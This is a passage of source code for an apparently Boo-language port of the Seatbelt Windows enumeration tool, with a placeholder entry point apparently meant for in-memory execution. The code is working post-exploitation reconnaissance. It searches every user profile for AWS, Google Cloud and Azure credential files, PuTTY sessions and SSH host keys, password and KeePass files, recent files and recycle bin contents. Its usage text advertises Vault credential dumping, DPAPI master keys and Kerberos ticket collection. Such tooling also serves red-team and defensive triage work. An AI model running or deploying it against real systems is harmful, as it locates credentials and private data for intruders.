if SID.StartsWith('S-1-5') and (not SID.EndsWith('_Classes')):
subKeys = GetRegSubkeys('HKU', String.Format('{0}\\Software\\SimonTatham\\PuTTY\\Sessions\\', SID))
for sessionName as string in subKeys:
Console.WriteLine(' {0,-20} : {1}', 'User SID', SID)
Console.WriteLine(' {0,-20} : {1}', 'SessionName', sessionName)
keys = ('HostName', 'UserName', 'PublicKeyFile', 'PortForwardings', 'ConnectionSharing')
for key as string in keys:
result = GetRegValue('HKU', String.Format('{0}\\Software\\SimonTatham\\PuTTY\\Sessions\\{1}', SID, sessionName), key)
if not String.IsNullOrEmpty(result):
Console.WriteLine(' {0,-20} : {1}', key, result)
Console.WriteLine()
else:
Console.WriteLine('\r\n\r\n=== Putty Saved Session Information (Current User) ===\r\n')
subKeys = GetRegSubkeys('HKCU', 'Software\\SimonTatham\\PuTTY\\Sessions\\')
for sessionName as string in subKeys:
Console.WriteLine(' {0,-20} : {1}', 'SessionName', sessionName)
keys = ('HostName', 'UserName', 'PublicKeyFile', 'PortForwardings', 'ConnectionSharing')
for key as string in keys:
result = GetRegValue('HKCU', String.Format('Software\\SimonTatham\\PuTTY\\Sessions\\{0}', sessionName), key)
if not String.IsNullOrEmpty(result):
Console.WriteLine(' {0,-20} : {1}', key, result)
Console.WriteLine()
public static def ListPuttySSHHostKeys():
// extracts saved putty host keys (via the registry)
hostKeys as Dictionary[of string, object]
if IsHighIntegrity():
Console.WriteLine('\r\n\r\n=== Putty SSH Host Hosts (All Users) ===\r\n')
SIDs as (string) = Registry.Users.GetSubKeyNames()
for SID as string in SIDs:
if SID.StartsWith('S-1-5') and (not SID.EndsWith('_Classes')):
hostKeys = GetRegValues('HKU', String.Format('{0}\\Software\\SimonTatham\\PuTTY\\SshHostKeys\\', SID))
if (hostKeys is not null) and (hostKeys.Count != 0):
Console.WriteLine(' {0} :', SID)
for kvp as KeyValuePair[of string, object] in hostKeys:
Console.WriteLine(' {0,-10}', kvp.Key)
else:
Console.WriteLine('\r\n\r\n=== Putty SSH Host Key Recent Hosts (Current User) ===\r\n')
hostKeys = GetRegValues('HKCU', 'Software\\SimonTatham\\PuTTY\\SshHostKeys\\')
if (hostKeys is not null) and (hostKeys.Count != 0):
for kvp as KeyValuePair[of string, object] in hostKeys:
Console.WriteLine(' {0,-10}', kvp.Key)
//Console.WriteLine("\r\n\r\n=== Putty SSH Host Key Recent Hosts ===\r\n");
//Dictionary<string, object> sessions = GetRegValues("HKCU", "Software\\SimonTatham\\PuTTY\\SshHostKeys\\");
//if (sessions != null)
//{
// foreach (KeyValuePair<string, object> kvp in sessions)
// {
// Console.WriteLine(" {0,-10}", kvp.Key);
// }
//}
public static def ListCloudCreds():
// checks for various cloud credential files (AWS, Microsoft Azure, and Google Compute)
// adapted from https://twitter.com/cmaddalena's SharpCloud project (https://github.com/chrismaddalena/SharpCloud/)
size as long
lastModified as DateTime
lastAccessed as DateTime
azureProfile as string
azureTokens as string
computeAccessTokensDb as string
computeLegacyCreds as string
computeCredsDb as string
awsKeyFile as string
try:
if IsHighIntegrity():
Console.WriteLine('\r\n\r\n=== Checking for Cloud Credentials (All Users) ===\r\n')
userFolder as string = String.Format('{0}\\Users\\', Environment.GetEnvironmentVariable('SystemDrive'))
dirs as (string) = Directory.GetDirectories(userFolder)
for dir as string in dirs:
found = false
parts as (string) = dir.Split(char('\\'))
userName as string = parts[(parts.Length - 1)]
if not (((dir.EndsWith('Public') or dir.EndsWith('Default')) or dir.EndsWith('Default User')) or dir.EndsWith('All Users')):
awsKeyFile = String.Format('{0}\\.aws\\credentials', dir)
if System.IO.File.Exists(awsKeyFile):
lastAccessed = System.IO.File.GetLastAccessTime(awsKeyFile)
lastModified = System.IO.File.GetLastWriteTime(awsKeyFile)
size = System.IO.FileInfo(awsKeyFile).Length
Console.WriteLine(' [*] AWS key file exists at : {0}', awsKeyFile)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
Console.WriteLine(' Size : {0}\r\n', size)
found = true
computeCredsDb = String.Format('{0}\\AppData\\Roaming\\gcloud\\credentials.db', dir)
if System.IO.File.Exists(computeCredsDb):
lastAccessed = System.IO.File.GetLastAccessTime(computeCredsDb)
lastModified = System.IO.File.GetLastWriteTime(computeCredsDb)
size = System.IO.FileInfo(computeCredsDb).Length
Console.WriteLine(' [*] Compute creds at : {0}', computeCredsDb)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
Console.WriteLine(' Size : {0}\r\n', size)
found = true
computeLegacyCreds = String.Format('{0}\\AppData\\Roaming\\gcloud\\legacy_credentials', dir)
if System.IO.File.Exists(computeLegacyCreds):
lastAccessed = System.IO.File.GetLastAccessTime(computeLegacyCreds)
lastModified = System.IO.File.GetLastWriteTime(computeLegacyCreds)
size = System.IO.FileInfo(computeLegacyCreds).Length
Console.WriteLine(' [*] Compute legacy creds at : {0}', computeLegacyCreds)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
Console.WriteLine(' Size : {0}\r\n', size)
found = true
computeAccessTokensDb = String.Format('{0}\\AppData\\Roaming\\gcloud\\access_tokens.db', dir)
if System.IO.File.Exists(computeAccessTokensDb):
lastAccessed = System.IO.File.GetLastAccessTime(computeAccessTokensDb)
lastModified = System.IO.File.GetLastWriteTime(computeAccessTokensDb)
size = System.IO.FileInfo(computeAccessTokensDb).Length
Console.WriteLine(' [*] Compute access tokens at : {0}', computeAccessTokensDb)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
Console.WriteLine(' Size : {0}\r\n', size)
found = true
azureTokens = String.Format('{0}\\.azure\\accessTokens.json', dir)
if System.IO.File.Exists(azureTokens):
lastAccessed = System.IO.File.GetLastAccessTime(azureTokens)
lastModified = System.IO.File.GetLastWriteTime(azureTokens)
size = System.IO.FileInfo(azureTokens).Length
Console.WriteLine(' [*] Azure access tokens at : {0}', azureTokens)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
Console.WriteLine(' Size : {0}\r\n', size)
found = true
azureProfile = String.Format('{0}\\.azure\\azureProfile.json', dir)
if System.IO.File.Exists(azureProfile):
lastAccessed = System.IO.File.GetLastAccessTime(azureProfile)
lastModified = System.IO.File.GetLastWriteTime(azureProfile)
size = System.IO.FileInfo(azureProfile).Length
Console.WriteLine(' [*] Azure profile at : {0}', azureProfile)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
Console.WriteLine(' Size : {0}\r\n', size)
found = true
if found:
System.Console.WriteLine()
else:
Console.WriteLine('\r\n\r\n=== Checking for Cloud Credentials (Current User) ===\r\n')
awsKeyFile = String.Format('{0}\\.aws\\credentials', System.Environment.GetEnvironmentVariable('USERPROFILE'))
if System.IO.File.Exists(awsKeyFile):
lastAccessed = System.IO.File.GetLastAccessTime(awsKeyFile)
lastModified = System.IO.File.GetLastWriteTime(awsKeyFile)
size = System.IO.FileInfo(awsKeyFile).Length
Console.WriteLine(' [*] AWS key file exists at : {0}', awsKeyFile)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
Console.WriteLine(' Size : {0}\r\n', size)
computeCredsDb = String.Format('{0}\\AppData\\Roaming\\gcloud\\credentials.db', System.Environment.GetEnvironmentVariable('USERPROFILE'))
if System.IO.File.Exists(computeCredsDb):
lastAccessed = System.IO.File.GetLastAccessTime(computeCredsDb)
lastModified = System.IO.File.GetLastWriteTime(computeCredsDb)
size = System.IO.FileInfo(computeCredsDb).Length
Console.WriteLine(' [*] Compute creds at : {0}', computeCredsDb)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
Console.WriteLine(' Size : {0}\r\n', size)
computeLegacyCreds = String.Format('{0}\\AppData\\Roaming\\gcloud\\legacy_credentials', System.Environment.GetEnvironmentVariable('USERPROFILE'))
if System.IO.File.Exists(computeLegacyCreds):
lastAccessed = System.IO.File.GetLastAccessTime(computeLegacyCreds)
lastModified = System.IO.File.GetLastWriteTime(computeLegacyCreds)
size = System.IO.FileInfo(computeLegacyCreds).Length
Console.WriteLine(' [*] Compute legacy creds at : {0}', computeLegacyCreds)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
Console.WriteLine(' Size : {0}\r\n', size)
computeAccessTokensDb = String.Format('{0}\\AppData\\Roaming\\gcloud\\access_tokens.db', System.Environment.GetEnvironmentVariable('USERPROFILE'))
if System.IO.File.Exists(computeAccessTokensDb):
lastAccessed = System.IO.File.GetLastAccessTime(computeAccessTokensDb)
lastModified = System.IO.File.GetLastWriteTime(computeAccessTokensDb)
size = System.IO.FileInfo(computeAccessTokensDb).Length
Console.WriteLine(' [*] Compute access tokens at : {0}', computeAccessTokensDb)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
Console.WriteLine(' Size : {0}\r\n', size)
azureTokens = String.Format('{0}\\.azure\\accessTokens.json', System.Environment.GetEnvironmentVariable('USERPROFILE'))
if System.IO.File.Exists(azureTokens):
lastAccessed = System.IO.File.GetLastAccessTime(azureTokens)
lastModified = System.IO.File.GetLastWriteTime(azureTokens)
size = System.IO.FileInfo(azureTokens).Length
Console.WriteLine(' [*] Azure access tokens at : {0}', azureTokens)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
Console.WriteLine(' Size : {0}\r\n', size)
azureProfile = String.Format('{0}\\.azure\\azureProfile.json', System.Environment.GetEnvironmentVariable('USERPROFILE'))
if System.IO.File.Exists(azureProfile):
lastAccessed = System.IO.File.GetLastAccessTime(azureProfile)
lastModified = System.IO.File.GetLastWriteTime(azureProfile)
size = System.IO.FileInfo(azureProfile).Length
Console.WriteLine(' [*] Azure profile at : {0}', azureProfile)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
Console.WriteLine(' Size : {0}\r\n', size)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListRecentFiles():
// parses recent file shortcuts via COM
// WshShell COM object GUID
// invoke the WshShell com object, creating a shortcut to then extract the TargetPath from
TargetPath as Object
shortcut as Object
lastAccessed as DateTime
recentFiles as (string)
recentPath as string
lastDays = 7
if not FilterResults.filter:
lastDays = 30
startTime as DateTime = System.DateTime.Now.AddDays(-lastDays)
try:
shell as Type = Type.GetTypeFromCLSID(Guid('F935DC22-1CF0-11d0-ADB9-00C04FD58A0B'))
shellObj as Object = Activator.CreateInstance(shell)
if IsHighIntegrity():
Console.WriteLine('\r\n\r\n=== Recently Accessed Files (All Users) Last {0} Days ===\r\n', lastDays)
userFolder as string = String.Format('{0}\\Users\\', Environment.GetEnvironmentVariable('SystemDrive'))
dirs as (string) = Directory.GetDirectories(userFolder)
for dir as string in dirs:
parts as (string) = dir.Split(char('\\'))
userName as string = parts[(parts.Length - 1)]
if not (((dir.EndsWith('Public') or dir.EndsWith('Default')) or dir.EndsWith('Default User')) or dir.EndsWith('All Users')):
recentPath = String.Format('{0}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\', dir)
try:
recentFiles = Directory.GetFiles(recentPath, '*.lnk', SearchOption.AllDirectories)
if recentFiles.Length != 0:
Console.WriteLine(' {0} :\r\n', userName)
for recentFile as string in recentFiles:
lastAccessed = System.IO.File.GetLastAccessTime(recentFile)
if lastAccessed > startTime:
shortcut = shellObj.GetType().InvokeMember('CreateShortcut', BindingFlags.InvokeMethod, null, shellObj, (of object: recentFile))
TargetPath = shortcut.GetType().InvokeMember('TargetPath', BindingFlags.GetProperty, null, shortcut, (of object: ,))
if TargetPath.ToString().Trim() != '':
Console.WriteLine(' Target: {0,-10}', TargetPath.ToString())
Console.WriteLine(' Accessed: {0}\r\n', lastAccessed)
Marshal.ReleaseComObject(shortcut)
shortcut = null
except :
pass
else:
Console.WriteLine('\r\n\r\n=== Recently Accessed Files (Current User) Last {0} Days ===\r\n', lastDays)
recentPath = String.Format('{0}\\Microsoft\\Windows\\Recent\\', System.Environment.GetEnvironmentVariable('APPDATA'))
recentFiles = Directory.GetFiles(recentPath, '*.lnk', SearchOption.AllDirectories)
for recentFile as string in recentFiles:
// old method (needed interop dll)
//WshShell shell = new WshShell();
//IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(recentFile);
lastAccessed = System.IO.File.GetLastAccessTime(recentFile)
if lastAccessed > startTime:
// invoke the WshShell com object, creating a shortcut to then extract the TargetPath from
shortcut = shellObj.GetType().InvokeMember('CreateShortcut', BindingFlags.InvokeMethod, null, shellObj, (of object: recentFile))
TargetPath = shortcut.GetType().InvokeMember('TargetPath', BindingFlags.GetProperty, null, shortcut, (of object: ,))
if TargetPath.ToString().Trim() != '':
Console.WriteLine(' Target: {0,-10}', TargetPath.ToString())
Console.WriteLine(' Accessed: {0}\r\n', lastAccessed)
Marshal.ReleaseComObject(shortcut)
shortcut = null
// release the WshShell COM object
Marshal.ReleaseComObject(shellObj)
shellObj = null
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListInterestingFiles():
// returns files (w/ modification dates) that match the given pattern below
lastModified as DateTime
lastAccessed as DateTime
files as List[of string]
searchPath as string
patterns = '*pass *;*diagram*;*.pdf;*.vsd;*.doc;*docx;*.xls;*.xlsx;*.kdbx;*.key;KeePass.config'
if IsHighIntegrity():
Console.WriteLine('\r\n\r\n=== Interesting Files (All Users) ===\r\n')
searchPath = String.Format('{0}\\Users\\', Environment.GetEnvironmentVariable('SystemDrive'))
files = FindFiles(searchPath, patterns)
for file as string in files:
lastAccessed = System.IO.File.GetLastAccessTime(file)
lastModified = System.IO.File.GetLastWriteTime(file)
Console.WriteLine(' File: {0}', file)
Console.WriteLine(' Accessed: {0}', lastAccessed)
Console.WriteLine(' Modified: {0}', lastModified)
else:
Console.WriteLine('\r\n\r\n=== Interesting Files (Current User) ===\r\n')
searchPath = Environment.GetEnvironmentVariable('USERPROFILE')
files = FindFiles(searchPath, patterns)
for file as string in files:
lastAccessed = System.IO.File.GetLastAccessTime(file)
lastModified = System.IO.File.GetLastWriteTime(file)
Console.WriteLine(' File: {0}', file)
Console.WriteLine(' Accessed: {0}', lastAccessed)
Console.WriteLine(' Modified: {0}', lastModified)
// misc checks
public static def ListPatches():
// lists current patches via WMI (win32_quickfixengineering)
try:
wmiData = ManagementObjectSearcher('root\\cimv2', 'SELECT * FROM win32_quickfixengineering')
data as ManagementObjectCollection = wmiData.Get()
Console.WriteLine('\r\n\r\n=== Installed Patches (via WMI) ===\r\n')
Console.WriteLine(' HotFixID InstalledOn Description')
for result as ManagementObject in data:
Console.WriteLine(String.Format(' {0,-11}{1,-15}{2}', result['HotFixID'], result['InstalledOn'], result['Description']))
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListRecycleBin():
// lists recently deleted files (needs to be run from a user context!)
// Reference: https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files
Console.WriteLine('\r\n\r\n=== Recycle Bin Files Within the last 30 Days ===\r\n')
lastDays = 30
startTime = System.DateTime.Now.AddDays(-lastDays)
// Shell COM object GUID
shell as Type = Type.GetTypeFromCLSID(Guid('13709620-C279-11CE-A49E-444553540000'))
shellObj as Object = Activator.CreateInstance(shell)
// namespace for recycle bin == 10 - https://msdn.microsoft.com/en-us/library/windows/desktop/bb762494(v=vs.85).aspx
recycle as Object = shellObj.GetType().InvokeMember('Namespace', BindingFlags.InvokeMethod, null, shellObj, (of object: 10))
// grab all the deletes items
items as Object = recycle.GetType().InvokeMember('Items', BindingFlags.InvokeMethod, null, recycle, null)
// grab the number of deleted items
count as Object = items.GetType().InvokeMember('Count', BindingFlags.GetProperty, null, items, null)
deletedCount as int = Int32.Parse(count.ToString())
for i in range(0, deletedCount):
// iterate through each item
// grab the specific deleted item
item as Object = items.GetType().InvokeMember('Item', BindingFlags.InvokeMethod, null, items, (of object: i))
DateDeleted as Object = item.GetType().InvokeMember('ExtendedProperty', BindingFlags.InvokeMethod, null, item, (of object: 'System.Recycle.DateDeleted'))
modifiedDate as DateTime = DateTime.Parse(DateDeleted.ToString())
if modifiedDate > startTime:
// additional extended properties from https://blogs.msdn.microsoft.com/oldnewthing/20140421-00/?p=1183
Name as Object = item.GetType().InvokeMember('Name', BindingFlags.GetProperty, null, item, null)
Path as Object = item.GetType().InvokeMember('Path', BindingFlags.GetProperty, null, item, null)
Size as Object = item.GetType().InvokeMember('Size', BindingFlags.GetProperty, null, item, null)
DeletedFrom as Object = item.GetType().InvokeMember('ExtendedProperty', BindingFlags.InvokeMethod, null, item, (of object: 'System.Recycle.DeletedFrom'))
Console.WriteLine(' Name : {0}', Name)
Console.WriteLine(' Path : {0}', Path)
Console.WriteLine(' Size : {0}', Size)
Console.WriteLine(' Deleted From : {0}', DeletedFrom)
Console.WriteLine(' Date Deleted : {0}\r\n', DateDeleted)
Marshal.ReleaseComObject(item)
item = null
Marshal.ReleaseComObject(recycle)
recycle = null
Marshal.ReleaseComObject(shellObj)
shellObj = null
// meta-functions for running various checks
public static def SystemChecks():
Console.WriteLine('\r\n=== Running System Triage Checks ===\r\n')
ListBasicOSInfo()
ListRebootSchedule()
ListTokenGroupPrivs()
ListUACSystemPolicies()
ListPowerShellSettings()
ListAuditSettings()
ListWEFSettings()
ListLSASettings()
ListUserEnvVariables()
ListSystemEnvVariables()
ListUserFolders()
ListNonstandardServices()
ListInternetSettings()
ListLapsSettings()
ListLocalGroupMembers()
ListMappedDrives()
ListRDPSessions()
ListWMIMappedDrives()
ListNetworkShares()
ListFirewallRules()
ListAntiVirusWMI()
ListInterestingProcesses()
ListRegistryAutoLogon()
ListRegistryAutoRuns()
ListDNSCache()
ListARPTable()
ListAllTcpConnections()
ListAllUdpConnections()
ListNonstandardProcesses()
// list patches and List4624Events/List4648Events if we're doing "full" collection
if not FilterResults.filter:
ListPatches()
List4624Events()
List4648Events()
if IsHighIntegrity():
Console.WriteLine('\r\n\r\n [*] In high integrity, performing elevated collection options.')
ListSysmonConfig()
public static def UserChecks():
Console.WriteLine('\r\n=== Running User Triage Checks ===\r\n')
if IsHighIntegrity():
Console.WriteLine('\r\n [*] In high integrity, attempting triage for all users on the machine.')
Console.WriteLine('\r\n Current user : {0} - {1} ', WindowsIdentity.GetCurrent().Name, WindowsIdentity.GetCurrent().User)
else:
Console.WriteLine('\r\n [*] In medium integrity, attempting triage of current user.')
Console.WriteLine('\r\n Current user : {0} - {1} ', WindowsIdentity.GetCurrent().Name, WindowsIdentity.GetCurrent().User)
CheckFirefox()
CheckChrome()
TriageIE()
DumpVault()
ListSavedRDPConnections()
ListRecentRunCommands()
ListPuttySessions()
ListPuttySSHHostKeys()
ListCloudCreds()
ListRecentFiles()
ListMasterKeys()
ListCredFiles()
ListRDCManFiles()
if not FilterResults.filter:
TriageChrome()
TriageFirefox()
ListInterestingFiles()
private static def Usage():
Console.WriteLine(' "SeatBelt.exe system" collects the following system data:\r\n')
Console.WriteLine('\tBasicOSInfo - Basic OS info (i.e. architecture, OS version, etc.)')
Console.WriteLine('\tRebootSchedule - Reboot schedule (last 15 days) based on event IDs 12 and 13')
Console.WriteLine('\tTokenGroupPrivs - Current process/token privileges (e.g. SeDebugPrivilege/etc.)')
Console.WriteLine('\tUACSystemPolicies - UAC system policies via the registry')
Console.WriteLine('\tPowerShellSettings - PowerShell versions and security settings')
Console.WriteLine('\tAuditSettings - Audit settings via the registry')
Console.WriteLine('\tWEFSettings - Windows Event Forwarding (WEF) settings via the registry')
Console.WriteLine('\tLSASettings - LSA settings (including auth packages)')
Console.WriteLine('\tUserEnvVariables - Current user environment variables')
Console.WriteLine('\tSystemEnvVariables - Current system environment variables')
Console.WriteLine('\tUserFolders - Folders in C:\\Users\\')
Console.WriteLine('\tNonstandardServices - Services with file info company names that don\'t contain \'Microsoft\'')
Console.WriteLine('\tInternetSettings - Internet settings including proxy configs')
Console.WriteLine('\tLapsSettings - LAPS settings, if installed')
Console.WriteLine('\tLocalGroupMembers - Members of local admins, RDP, and DCOM')
Console.WriteLine('\tMappedDrives - Mapped drives')
Console.WriteLine('\tRDPSessions - Current incoming RDP sessions')
Console.WriteLine('\tWMIMappedDrives - Mapped drives via WMI')
Console.WriteLine('\tNetworkShares - Network shares')
Console.WriteLine('\tFirewallRules - Deny firewall rules, "full" dumps all')
Console.WriteLine('\tAntiVirusWMI - Registered antivirus (via WMI)')
Console.WriteLine('\tInterestingProcesses - "Interesting" processes- defensive products and admin tools')
Console.WriteLine('\tRegistryAutoRuns - Registry autoruns')
Console.WriteLine('\tRegistryAutoLogon - Registry autologon information')
Console.WriteLine('\tDNSCache - DNS cache entries (via WMI)')
Console.WriteLine('\tARPTable - Lists the current ARP table and adapter information (equivalent to arp -a)')
Console.WriteLine('\tAllTcpConnections - Lists current TCP connections and associated processes')
Console.WriteLine('\tAllUdpConnections - Lists current UDP connections and associated processes')
Console.WriteLine('\tNonstandardProcesses - Running processeswith file info company names that don\'t contain \'Microsoft\'')
Console.WriteLine('\t * If the user is in high integrity, the following additional actions are run:')
Console.WriteLine('\tSysmonConfig - Sysmon configuration from the registry')
Console.WriteLine('\r\n\r\n "SeatBelt.exe user" collects the following user data:\r\n')
Console.WriteLine('\tSavedRDPConnections - Saved RDP connections')
Console.WriteLine('\tTriageIE - Internet Explorer bookmarks and history (last 7 days)')
Console.WriteLine('\tDumpVault - Dump saved credentials in Windows Vault (i.e. logins from Internet Explorer and Edge), from SharpWeb')
Console.WriteLine('\tRecentRunCommands - Recent "run" commands')
Console.WriteLine('\tPuttySessions - Interesting settings from any saved Putty configurations')
Console.WriteLine('\tPuttySSHHostKeys - Saved putty SSH host keys')
Console.WriteLine('\tCloudCreds - AWS/Google/Azure cloud credential files')
Console.WriteLine('\tRecentFiles - Parsed "recent files" shortcuts (last 7 days)')
Console.WriteLine('\tMasterKeys - List DPAPI master keys')
Console.WriteLine('\tCredFiles - List Windows credential DPAPI blobs')
Console.WriteLine('\tRDCManFiles - List Windows Remote Desktop Connection Manager settings files')
Console.WriteLine('\t * If the user is in high integrity, this data is collected for ALL users instead of just the current user')
Console.WriteLine('\r\n\r\n Non-default options:\r\n')
Console.WriteLine('\tCurrentDomainGroups - The current user\'s local and domain groups')
Console.WriteLine('\tPatches - Installed patches via WMI (takes a bit on some systems)')
Console.WriteLine('\tLogonSessions - User logon session data')
Console.WriteLine('\tKerberosTGTData - ALL TEH TGTZ!')
Console.WriteLine('\tInterestingFiles - "Interesting" files matching various patterns in the user\'s folder')
Console.WriteLine('\tIETabs - Open Internet Explorer tabs')
Console.WriteLine('\tTriageChrome - Chrome bookmarks and history')
Console.WriteLine('\tTriageFirefox - Firefox history (no bookmarks)')
Console.WriteLine('\tRecycleBin - Items in the Recycle Bin deleted in the last 30 days - only works from a user context!')
Console.WriteLine('\t4624Events - 4624 logon events from the security event log')
Console.WriteLine('\t4648Events - 4648 explicit logon events from the security event log (runas or outbound RDP)')
Console.WriteLine('\tKerberosTickets - List Kerberos tickets. If elevated, grouped by all logon sessions.')
Console.WriteLine('\r\n\r\n "SeatBelt.exe all" will run ALL enumeration checks, can be combined with "full".\r\n')
Console.WriteLine('\r\n "SeatBelt.exe [CheckName] full" will prevent any filtering and will return complete results.\r\n')
Console.WriteLine('\r\n "SeatBelt.exe [CheckName] [CheckName2] ..." will run one or more specified checks only (case-sensitive naming!)\r\n')
public static def Main(args as (string)):
PrintLogo()
watch = System.Diagnostics.Stopwatch.StartNew()
if args.Length != 0:
for arg as string in args:
if string.Equals(arg, 'full', StringComparison.CurrentCultureIgnoreCase):
FilterResults.filter = false
for arg as string in args:
if string.Equals(arg, 'full', StringComparison.CurrentCultureIgnoreCase):
FilterResults.filter = false
if args.Length == 1:
// if "full" is the only argument, run System and User triage
SystemChecks()
ListKerberosTickets()
UserChecks()
ListIETabs()
ListPatches()
ListRecycleBin()
watch.Stop()
Console.WriteLine('\r\n\r\n[*] Completed All Safety Checks with no filtering in {0} seconds\r\n', (watch.ElapsedMilliseconds / 1000))
return
if string.Equals(arg, 'all', StringComparison.CurrentCultureIgnoreCase):
SystemChecks()
ListKerberosTickets()
UserChecks()
ListIETabs()
ListPatches()
TriageChrome()
TriageFirefox()
ListRecycleBin()
ListInterestingFiles()
watch.Stop()
Console.WriteLine('\r\n\r\n[*] Completed All Safety Checks in {0} seconds\r\n', (watch.ElapsedMilliseconds / 1000))
return
for arg as string in args:
if string.Equals(arg, 'full', StringComparison.CurrentCultureIgnoreCase):
pass
elif string.Equals(arg, 'system', StringComparison.CurrentCultureIgnoreCase):
SystemChecks()
elif string.Equals(arg, 'user', StringComparison.CurrentCultureIgnoreCase):
UserChecks()
else:
type as Type = typeof(SeatBelt)
info as MethodInfo = null
// try to grab the function name via reflection
if Regex.IsMatch(arg, '^Triage.*'):
// if TriageX(), all good
info = type.GetMethod(arg)
elif Regex.IsMatch(arg, '^Dump.*'):
// if DumpX, all good
info = type.GetMethod(arg)
else:
// build List<name>()
info = type.GetMethod(String.Format('List{0}', arg))
if info is null:
Console.WriteLine('[X] Check "{0}" not found!', arg)
else:
info.Invoke(null, (of object: ,))
else:
Usage()
return
watch.Stop()
Console.WriteLine('\r\n\r\n[*] Completed Safety Checks in {0} seconds\r\n', (watch.ElapsedMilliseconds / 1000))
public static def Main():
SeatBelt.Main("ARGS_GO_HERE".Split())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment